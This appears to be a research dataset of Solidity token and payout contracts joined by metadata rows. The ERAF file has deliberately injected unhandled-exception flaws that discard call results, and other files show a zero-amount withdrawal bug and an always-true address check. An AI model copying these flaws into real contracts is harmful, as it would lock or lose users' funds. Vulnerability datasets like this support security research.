winnerQueueAmount.push(_depositedEther * returnPercentage / 100);
emit Deposit(msg.sender, msg.value);
}
function manualWithdrawEtherAll() onlyOwner public{
address(owner).transfer(address(this).balance);
}
function manualWithdrawEtherAdditionalOnly() onlyOwner public{
additionalFund = 0;
address(owner).transfer(additionalFund);
}
//Just in rare case, owner wants to transfer Tokens from contract to owner address
function manualWithdrawTokens(uint tokenAmount) onlyOwner public{
//no need to validate the input amount as transfer function automatically throws for invalid amounts
_transfer(address(this), address(owner), tokenAmount);
}
//selfdestruct function. just in case owner decided to destruct this contract.
function destructContract()onlyOwner public{
selfdestruct(owner);
}
//To remove any stuck address and un-stuck the queue.
//This often happen if user have put contract address, and contract does not receive ether.
function removeAddressFromQueue(uint256 index) onlyOwner public {
require(index <= winnerQueueAmount.length);
additionalFund += winnerQueueAmount[index];
//this will shift one index up in both arrays, removing the address owner specified
for (uint256 i = index; i<winnerQueueAmount.length-1; i++){
winnerQueueAmount[i] = winnerQueueAmount[i+1];
winnerQueueAddresses[i] = winnerQueueAddresses[i+1];
}
winnerQueueAmount.length--;
winnerQueueAddresses.length--;
}
function restartTheQueue() onlyOwner public {
uint256 arrayLength = winnerQueueAmount.length;
if(arrayLength < 35){
//if addresses are less than 35 then we will just loop through it and send tokens
for(uint256 i = 0; i < arrayLength; i++){
_transfer(address(this), winnerQueueAddresses[i], winnerQueueAmount[i]*200*100/returnPercentage);
}
//then empty the array, and so the game will begin fresh
winnerQueueAddresses = new address payable[](0);
winnerQueueAmount = new uint256[](0);
}
else{
//if there are more than 35 addresses, then we will process it differently
//sending tokens to first 35 addresses
for(uint256 i = 0; i < 35; i++){
//doing token transfer
_transfer(address(this), winnerQueueAddresses[i], winnerQueueAmount[i]*200*100/returnPercentage);
//shifting index one by one
for (uint256 j = 0; j<arrayLength-i-1; j++){
winnerQueueAmount[j] = winnerQueueAmount[j+1];
winnerQueueAddresses[j] = winnerQueueAddresses[j+1];
}
}
//removing total array length by 35
winnerQueueAmount.length -= 35;
winnerQueueAddresses.length -= 35;
}
}
}
| 147,339 | 14,083 |
b8ebf1f9de788e87be64e61462b6205470ccb64fb66805554654d3ad5480cd42
| 25,705 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/securityAbandonerAndInjector/unhandledException/manualCheck/0x40561e765d4614980260cc6cc143fbdd2f7467c2_unhandledException.sol
| 2,633 | 10,023 |
pragma solidity ^0.6.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = (false, bytes(msg.data));
recipient.call{ value: amount }(""); //inject UNHANDLED EXCEPTION
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = (false, bytes(msg.data));
target.call{ value: weiValue }(data); //inject UNHANDLED EXCEPTION
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract ERAF is ERC20 {
constructor ()
ERC20('ERAF Finance', 'ERAF')
public
{
_mint(0x5a77bD42971B3399d5f2eaE6505bb36EA6a359F3, 12000 * 10 ** uint(decimals()));
}
}
| 277,679 | 14,084 |
978f9af5707da766902197cdc39212835199b93d58fa435d4fa751ff5df3c30e
| 24,313 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/e2/e238ce130e8d0bed5fab0bb52fed6396f1aaa192_AnyswapV6ERC20.sol
| 5,050 | 19,376 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// configurable delay for timelock functions
uint public delay = 2*24*3600;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
if (block.timestamp >= delayVault) {
return pendingVault;
}
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
pendingVault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
delayVault = block.timestamp;
_init = false;
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = _vault;
delayVault = block.timestamp + delay;
}
function applyVault() external onlyVault {
require(block.timestamp >= delayVault);
vault = pendingVault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
pendingMinter = _auth;
delayMinter = block.timestamp + delay;
}
function applyMinter() external onlyVault {
require(block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = newVault;
pendingVault = newVault;
emit LogChangeVault(vault, pendingVault, block.timestamp);
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
pendingVault = _vault;
delayVault = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
| 72,257 | 14,085 |
f37a981f2c12b0e11066b4e4d7d5a38d6304b940b648da898b178dc9c21b0750
| 35,123 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/cc/ccf6397d607bdbeba83586224509e43e16b1ae1a_IglooSale.sol
| 4,157 | 17,384 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
